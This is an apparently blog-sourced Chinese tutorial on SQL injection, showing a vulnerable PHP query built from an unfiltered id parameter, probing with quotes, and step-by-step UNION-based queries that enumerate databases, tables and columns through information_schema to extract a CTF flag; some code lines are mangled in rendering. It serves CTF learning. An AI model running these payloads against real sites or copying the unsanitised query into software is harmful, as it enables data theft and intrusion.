sql注入 数字,字符串分析

sql注入 数字,字符串分析

发生场景:

i d = id= id=_GET[‘id’];

s q l = “ S E L E C T ∗ f r o m a d m i n w h e r e i d = ′ sql=“SELECT * from admin where id=' sql=SELECTfromadminwhereid=id’ limit 0,1”;

通过观察sql语句可以发现,单引号是这条语句的闭合符

测试方法:输入 ?id=1’

sql语句就变成 SELECT * from admin where id=‘1’’ limit 0,1

多出一个单引号,执行sql语句就会报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right

syntax to use near ‘‘1’’ limit 0,1’ at line 1

找到了注入点,然后就可以获取想要的数据了

注意:

输入 id=1- 或者 id=1) 时,sql语句依然可以正常执行,按理来说这个sql语句应该是错误的,执行会报错,但是因为是在Mysql数

据库环境下,它会自动把错误的数据1)转换成合法的数据1,从而使得sql语句执行成功,相同的输入1-、1"也一样。

相反SqlServer、oracle数据库对数据类型很严格,输错数据类型不会自动转换成正确的数据类型,所以只要输入的数据类型不正确就

会出现报错信息。
以此特性就可以进行bool盲注。

所以可以利用这一点进行数据库类型的判断

===========================================================

SQL语句的闭合形式大概如下几种:

SELECT * FROM users WHERE id= 1;#整形闭合
SELECT * FROM users WHERE id=‘1’; #单引号闭合
SELECT * FROM users WHERE id=“1”;#双引号闭合
SELECT * FROM users WHERE id=(‘1’);#单引号加括号
SELECT * FROM users WHERE id=(“1”);#双引号加括号

===========================================================

sql注入 数字型注入步骤

步骤:

  1. 找出表中字段数:select * from table where id=1 order by 1;

从1一直试直到报错,即可获得字段数;

  1. 找通道:

因为数据库返回的字段不一定都会显示在前端中,因此我们需要找出显示的通道;

select * from table where id = -1 union select 1,2;

(如果说屏幕上有两个显示位置,那我们就给两个参数1,2 。实例参考ctfhub-sql注入-数字型注入)

确认通道后,我们按照按顺序分别找出数据库,表,列;现在需要用到mysql自带的数据库:

  1. 找出所在数据库:

select * from table where id=-1 union select 1,database();

  1. 找出表

Select * from table where id=-1 union select 1,group_concat(table_name) from information_schema.tables where

table_schema = ‘数据库名’;

  1. 找出列:

select * from table where id=-1 union select 1,group_concat(column_name) from information_schema.columns

where table_schema = ‘数据库名’ and table_name=‘表名’;

  1. 拿到flag

select * from table where id=-1 union select 1,列名 from 数据库名.表名;

注:

union:会对两个结果集进行并集操作,不包括重复行,同时进行默认规则的排序。

id = -1 是因为我们不想要第一条查询语句的结果。

group_concat()会计算哪些行属于同一组,将属于同一组的列显示出来。要返回哪些列,由函数参数(就是字段名)决定。分组必须有

个标准,就是根据group by指定的列进行分组。

===================================================

你可能感兴趣的:(sql,数据库)